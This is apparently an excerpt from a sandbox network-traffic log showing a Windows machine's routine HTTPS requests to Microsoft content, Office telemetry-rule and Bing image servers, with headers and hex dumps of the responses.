t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVELxFvNU03Tg7Z2E/gE9Cn8EXHzmlsS6ZSIkIvIeG0reLUVeJSbilrW4Hy949NAxOwEn76s5zGhqf92S26HHaUbOENiDFUFbdM1vZReXnnesXoMyCYfLgTivUDBuCZGiy3DtAqR3/7WCegRR2nLr2Quk90EkFIqG0+NVg8kHt0LMKT8hOw5b1J/58kNfc77U/ZXbh7o6PPIdgJlJzSJbORYtJ1Kr5jOMvjtJMYCht4qdDwdRDm4ou1qOD9bE4jzDbmOPZIkfGkQGHMiiP/DOwO6letwVYGsBE7LbMe3CUSyztnIj3rFvvAPGB87AP6q2NEvIE/F5S2iYUdodE9KaJYQZgAAEGAcu8N3qd+O11i6BTnPFZ6wAR7a9XVxBwAtBviNmyfFP9NCqGc8ztODCECQnRVrNYhvoKHQwQeKdhrWS4rpz/Tbh5reYJSv5lqmAXW6Wsza64BZXo5xqSamtLC3lum/cETFIl/2E7SpPnJ7YQKaLSAlnpa/FpM8D110FwrWLxYUg7jdUQlrwK14Jbk+EKH+SKCfEquecZ8+3lGLiVCKeftDzi1/lc8gN+Sc2p4S9FOqYvKuiRb+X96+uFOw4PUdhU1NVgl3P4VxH6RaUfUwZYax62B74NMVXH0ga57y7chFsHFI7H3nZIxjZbQgUqSo5JO9LcVhGLQl0WmeRv2Bydt6ShL8XKaVVCvBjPnO90fHp8cLZpM23mNreAE6SpqLibomI7Od/d2AnGJK+M2Drl4G3EFP/73W/vqpftvS7o/miWz2yVEH45p43924E2e6LyCt1GfpW0vAFelQX7PYh9tKBfHZ8Y9BZLb1kqLhIsYp29gnL5bIy37BnK/qM21iZ4lo701nY5c3SsIBbp+KHaYk4HU7HyRIQIZozmlPu74XhObkeonMEP/Tmvj5B7j3W0oLt8n9CfBE1KCwCIWGNohaTtgB&p= Cache-Control: no-cache MS-CV: 432tsQ/J1USeXdCg.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-08 16:45:41 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 3892 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: LqxviIpBklaJ2/jASdTBUZhhOXtpGv8nK41sajb9rkOZL0bywPT9UN9w8TOyFWQk6f+Oa1V+fKkHkCN/ggPOt6i/ffhsj3lYuusPgVrPjjFt+NUGmQLxNMU7GtqEDFv7sRwbvzKFDpU1diiNm3K8B7lI4gpkhmT26PD2/9q+zKQunR1m8O2n0ID7Wnbu4AHYvrtNU0fYzh4GIMI/oSEA/0qiqeLaM5luwb1NnsHXKP25UmTj97n0ptVI+2Jlncf2TjTnOveMlArkvgEgUnIbCkDBtTWnRKMCl7Gegal4OpW+KAapDx/V3+8hg5+wGdd/ZqbfXpyX/cfgva/gt2YpnA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 08 Dec 2024 16:45:41 GMT Connection: close
2024-12-08 16:45:41 UTC	3892	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:41 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 90ee9adf-001e-0014-3106-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164541Z-r1cf579d7788pwqzhC1EWRrpd80000000670000000001ssq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:41 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1f654f05-501e-008f-5009-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164541Z-r1cf579d7784wpmvhC1EWRk4cn00000005dg000000001ddp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:41 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:41 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: e27c4e9c-301e-0099-680b-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164541Z-r1cf579d778qlpkrhC1EWRpfc800000006f0000000007vrf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:41 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:41 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:41 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 90a1454b-001e-0079-3203-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164541Z-r1cf579d778dndrdhC1EWR4b2400000005fg000000006x09 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:41 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49814	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:41 UTC	375	OUT	GET /th?id=OADD2.10239399109664_12R6JVR4SJZQSTHCV&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-08 16:45:41 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 634317 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 89B6AE3350C04678A81AA4F033AAEFBF Ref B: EWR30EDGE1019 Ref C: 2024-12-08T16:45:41Z Date: Sun, 08 Dec 2024 16:45:40 GMT Connection: close
2024-12-08 16:45:41 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 15 70 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 36 20 30 39 3a 33 38 3a 30 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``pExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:06 09:38:058
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: bc 8a bb 76 fa 52 78 ef 6b ef 3b 5e c7 74 30 d0 a6 fd dd df 99 cf 78 9b c3 d6 7a dc 68 da 87 97 67 79 6e 8b 2a 5c 43 f3 6f fc 0b 7c df 4e 2b 8c bc be 9f 4b d6 16 c7 50 b4 92 58 f7 ff 00 a3 dc 43 bb 6c ca 3a 1f f6 6b d0 bc 45 68 be 5e d6 9e 0b 7b a5 ff 00 5c e9 f3 79 cb 5c 27 8b 2f e7 d2 35 28 6d ef 2d 27 f2 e5 db ff 00 5c b6 d7 a5 87 fd f4 3d 9b 5c d6 5a 2b d9 fc 99 e7 66 34 61 07 ce 97 2b d3 55 d7 d7 fc cb 91 bd a4 b2 24 d7 10 6d db bb 63 a7 cb f3 74 e4 7f 7a 92 c6 26 82 ea ee f3 fb 4a 46 b5 8a 1d de 4f 96 ca c9 df 35 52 de f2 3d 5a 0d ab e4 5c 2e ff 00 be ef e9 ef 4f 87 51 fb 64 ff 00 67 93 cb f3 2d e5 68 bf bb be b8 5c 6a a5 28 da dd d7 65 f3 39 1f 2b 6a ff 00 22 e5 c4 12 dc 68 68 b0 f9 6b 37 fa d8 5d 3f bd f7 b8 e6 b0 f4 9b c9 ef 6e b6 fd 82 08 99 b7 Data Ascii: vRxk;^t0xzhgyn*\Co\|N+KPXCl:kEh^{\y\'/5(m-'\=\Z+f4a+U$mctz&JFO5R=Z\.OQdg-h\j(e9+j"hhk7]?n
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: 3e fd af 25 6f 53 56 6b cb 69 a0 fb 0e a5 fe b3 7a ff 00 ae 76 6f 9b 6e 7e f7 a7 a5 66 ea d6 92 e9 da 6c d3 5a f9 fe 5c ff 00 eb b7 cf f2 ed 3e ff 00 ec f6 a9 ee 35 1f 3f 46 49 ae 2d 3e 6d 8b f3 a2 7f ec a6 a9 78 a1 ef 1e d6 e2 6d 37 f7 b2 5d 43 b5 d3 ef 2b b0 c7 af f1 57 46 12 35 23 52 30 7a 45 bd 53 7a 5e e4 4a 16 bb b6 b6 f9 8b 70 22 7b 1f b7 6a 1f 35 bd ac df 3e cd d1 32 30 fb 8c 54 e6 aa e9 7e 29 8a 5b af 2e ea 4f dc ef 68 a1 99 11 57 e5 1f fb 37 b5 65 f8 4e e3 51 b3 ba 89 af a4 91 a4 bc f3 17 63 a3 2f 46 f7 e1 b3 5b de 26 b3 6b ad 29 ed e6 f3 16 4b 57 dd 6f 32 7c dd 7f f4 35 c5 7a 55 a9 d1 a7 5b d8 d6 f7 93 d9 a7 b2 eb 65 eb bf 73 28 ca 53 8b 9c 55 99 34 77 f6 6f a6 db b2 cf 1d c2 ae e5 9b 66 df 91 8f af f7 6a 39 0b 4b 3e e8 7c fb 85 b7 89 97 63 ff Data Ascii: >%oSVkizvon~flZ\>5?FI->mxm7]C+WF5#R0zESz^Jp"{j5>20T~)[.OhW7eNQc/F[&k)KWo2\|5zU[es(SU4wofj9K>\|c
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: 1e ba de b3 49 f6 06 89 d9 5f ed 68 db 7f ef b4 dc 2a a3 88 a7 27 65 25 72 65 46 a2 57 71 76 f4 3a f6 0c b4 df 9b cc db 55 74 fd 4e 2b fb 5f b4 59 cf 6b 71 0b 7f cb 68 9f 72 fe 95 2b 5c ca bf dc ad 35 25 58 99 bf bd 4d f9 bf 8a a3 f3 e4 fb bf bb a1 6e 25 6f bd e5 d0 17 44 8a 7f 79 44 9b a9 be 7f f1 79 7b aa 36 9f fe 99 d1 7b 8f 71 f8 dd 26 ea 5f bd f7 a3 db fe e5 46 d3 ed f9 bc ba 74 72 7f d3 4a a6 1a 77 17 fe d9 ee a1 bf bb 43 14 5f f7 a9 19 e3 59 36 f9 9f 35 48 c2 42 be 5f cb 4e f9 4f de 92 88 f6 ff 00 cf 4a 74 91 ee 8f e5 a9 e6 d0 7c a3 7e f4 7b a9 18 ff 00 15 2a c1 fb ca 1a 2d df 33 51 74 c1 21 19 7f 79 ba 97 1f de a6 b2 7f df 34 bb 3f 85 7e f5 26 2b 30 90 7f 15 2f 4a 6f 97 fc 2d 42 ee f3 3f dd a6 16 63 9b fb b4 d6 1b b6 6d a3 0f ff 00 02 a5 54 66 a5 Data Ascii: I_h'e%reFWqv:UtN+_Ykqhr+\5%XMn%oDyDy{6{q&_FtrJwC_Y65HB_NOJt\|~{-3Qt!y4?~&+0/Jo-B?cmTf
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: d2 ba 3f ee a5 86 3e 1a 3f 2d db ef 71 fc 07 e5 cd 4d e2 ab 68 25 f8 79 a7 4d 75 69 f6 29 ad 5f 6d c2 26 df b5 3c 61 5d 15 9f fe 07 ee 71 59 e3 28 d0 c4 63 62 9d a2 f9 b9 5a 8a 57 d1 35 16 d5 93 69 db 4d 3f e0 dd 37 3f 66 e4 bb 7f c3 94 fc 3b 37 8b 34 7d 0e 69 23 fb 5b 5c 44 eb 12 7c 91 b2 cc bb 78 11 b2 1d df 28 fa ab 0a d4 f1 85 ed b2 f8 76 1f b1 db c1 67 aa 5f da 5b b4 cf 70 8c d2 cc a7 f8 53 d3 3d 4f e7 59 df 06 f5 0d 15 ee ed 16 fa 48 2d e6 b5 b7 65 49 bc b6 55 79 0b 7f 1e de 5f fd 9f 4a 67 8d 3c 23 79 7b e2 0d 3f cc d7 63 ba 6f 35 57 63 bf cb 32 ff 00 1b 7f b1 fe eb 75 f6 ae ba ce 82 cd 9d 3c 52 f6 6e 37 95 d2 6b 9b ad ac ae 9a d1 6e fa f6 1c 64 dd 1b c7 5b e8 74 1e 3a d2 59 a4 d2 f5 49 23 f3 5a df 4e db 0d da 3f 95 14 2c 8d b9 97 9f f7 f1 83 d7 a8 Data Ascii: ?>?-qMh%yMui)_m&<a]qY(cbZW5iM?7?f;74}i#[\D\|x(vg_[pS=OYH-eIUy_Jg<#y{?co5Wc2u<Rn7knd[t:YI#ZN?,
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: da f6 4b 7d 1e 69 23 6f e2 79 a1 9f c8 64 50 bc 75 fb df ee 9f c2 96 eb 47 f3 e4 69 23 92 49 5a 27 fd f4 3e 7a af 45 dc 4f f4 f9 be 95 e3 55 94 61 52 52 ae dc 25 2b eb 64 95 af a7 93 7e 6d 1d 6e 7e ea 51 2a 46 25 b5 be 79 2d e3 8f cc d9 f7 3c 85 6d 8a 7a b7 15 06 9e f0 36 95 6f 67 35 df fa 2c 1f 32 6f 76 f9 24 dd b7 fe 03 9c d5 9d 72 09 f4 b9 fc 9b 59 ee ad e1 df b5 d2 ef 6b 7c db be e7 e0 a6 a8 b5 f5 e5 bd dc cd 34 76 bb be 55 de 89 f2 ee fc 33 5d 94 e6 b1 14 d4 a8 f5 eb 7e df 2f 33 19 49 ad 3a 0d d7 af 2f b4 e8 d2 ea 38 e0 56 57 f9 1f fb f8 5d dc b6 7a d5 1d 3f 5d 9d b6 59 ad 85 ad d2 dc 26 d7 74 db f3 e5 b7 ed 7e fc 35 49 75 3d cc b6 af 24 36 9b 63 95 ff 00 7c fb f7 2b b7 b7 f7 7e f5 61 de 3c b6 ba 8c 32 2b c7 14 9f df 4f 99 5f b7 6a f4 70 d8 58 4e 9f Data Ascii: K}i#oydPuGi#IZ'>zEOUaRR%+d~mn~Q*F%y-<mz6og5,2ov$rYk\|4vU3]~/3I:/8VW]z?]Y&t~5Iu=$6c\|+~a<2+O_jpXN
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: 2d 26 c7 fb 36 7b 55 6b bf b4 a2 4c 8c bf 31 fb cd b8 73 fc 5d 6b b6 f8 a7 a9 4f a5 68 f6 f6 2d 77 3f 97 15 de df 9d fc a9 ed 6e 42 f0 cb b0 7e f1 76 b5 4d 1e 8b 67 17 88 2c 66 d5 2e ee 95 a5 db 22 5e 7d aa 3f 9d 93 fe 59 f9 7f c0 a3 df f3 ae 6f e2 b6 b7 a8 58 5a ea 3a 3d f7 9f aa 5a b5 a7 9b 14 c9 03 32 d9 b0 fb ad dc a1 ec 4e 76 d7 9b 4e b4 33 8c c2 85 a2 bd d5 76 b6 bd dd b4 6e fb 5f 66 d3 e9 e4 74 d3 a7 c9 4e a7 33 fe af b1 d6 e8 fa f4 5a df 88 2e 34 18 e3 fb 55 8d aa 6e ff 00 8f ad cc ed fe cb 70 fc d4 5f 62 d0 d7 4a 7f 08 da db a2 c2 de 67 d9 9d 11 7c d8 5b ef 67 7f 5d df ef 7d 2b 82 f0 5c 3a 7e 8d a6 da 78 a1 b5 37 5b eb a8 7c ab bf 36 7f 97 e7 6c 89 17 23 3f 2a fe 0d d8 e6 ae 78 bd bf b3 3c 54 91 c3 71 74 d6 3a a5 8a ac db d3 6b 3b 37 39 55 f4 6e Data Ascii: -&6{UkL1s]kOh-w?nB~vMg,f."^}?YoXZ:=Z2NvN3vn_ftN3Z.4Unp_bJg\|[g]}+\:~x7[\|6l#?*x<Tqt:k;79Un
2024-12-08 16:45:42 UTC	16067	IN	Data Raw: b7 af db 91 13 76 c9 87 dd 1d f7 67 3d fe e9 ac 6d 5b c3 6d 71 e2 6d 7a d6 f9 2d 1b 52 bc bb 5f b3 dc 5c a7 fc b3 48 fe 42 a8 ad fc 4c aa 73 f9 83 5d ad d5 8d a5 df 88 26 58 ff 00 75 a8 35 a3 2c 2e 8e de 44 df 2f ee d8 ff 00 7c fd e5 cf fb 35 ca 6b d6 13 db 6b 93 6a 4d 77 25 c4 d6 b6 ec be 4c c8 bb be 4f ba 71 fd ec d7 46 5d 8a 9a 8a 85 3a 9c ad 47 48 db ab 7c ca cd 74 e9 ae 8d 25 73 6a 91 6e 3b 9a 53 58 40 96 b6 97 17 50 79 b7 56 b3 46 be 4b ce b1 6f 91 e3 77 65 54 6e 1b e6 da 7f dd ab 3e 24 ba 5d 47 c3 0f 0d d4 12 2c 29 ab c1 f6 1f 27 e5 d8 c1 4e ef 97 fb bf 4c 7a d7 9a 6b 92 cb 75 f0 e5 ed f4 bb b9 de de ce ee 4b 99 b7 a2 b6 fc af de 3f 4a d3 f8 6f a9 ea 1a 25 ac 2d a8 47 05 af db 1d 57 ca 87 ef 79 61 78 6d bf de e5 bb f4 ae e9 64 b5 63 49 57 e7 e6 9c Data Ascii: vg=m[mqmz-R_\HBLs]&Xu5,.D/\|5kkjMw%LOqF]:GH\|t%sjn;SX@PyVFKoweTn>$]G,)'NLzkuK?Jo%-GWyaxmdcIW
2024-12-08 16:45:42 UTC	16384	IN	Data Raw: 3c df 9f fd 6c d8 ff 00 74 7f 3a c3 b8 78 1a 48 6e 26 9f 76 e7 dc 89 0a 6d 5d a3 a7 6a 54 26 a7 07 0e 5f 7b bf 5f 40 92 f7 af 7d 09 3c 45 79 1d c7 ee ee 3e d5 14 db 3c dd f6 ff 00 37 b7 cf 57 bc 3b 72 b7 1a 6d f4 96 ff 00 bd 55 87 ca d9 b1 bf 7c df af 4a c5 92 f2 f3 cf 9a de 3f 33 c9 9e 6d b0 bb fd dd c7 e6 fb d5 7b 4f 78 34 48 12 66 fd ec 71 6e 57 d9 ef fa 7b d6 98 8a 29 61 95 28 ab cb a2 df b5 c5 17 79 df a1 d5 c3 a1 2b 78 7e e2 e1 b5 2f f4 89 51 65 48 5e 0d bf bc 4c 6e 55 eb fd e6 c7 f9 c4 1e 15 f1 3d 8e 97 1b df 34 ff 00 68 b8 58 76 a6 c4 f9 b7 6d 70 3a fe 55 4f 5c f1 0c bf f0 8a a5 c4 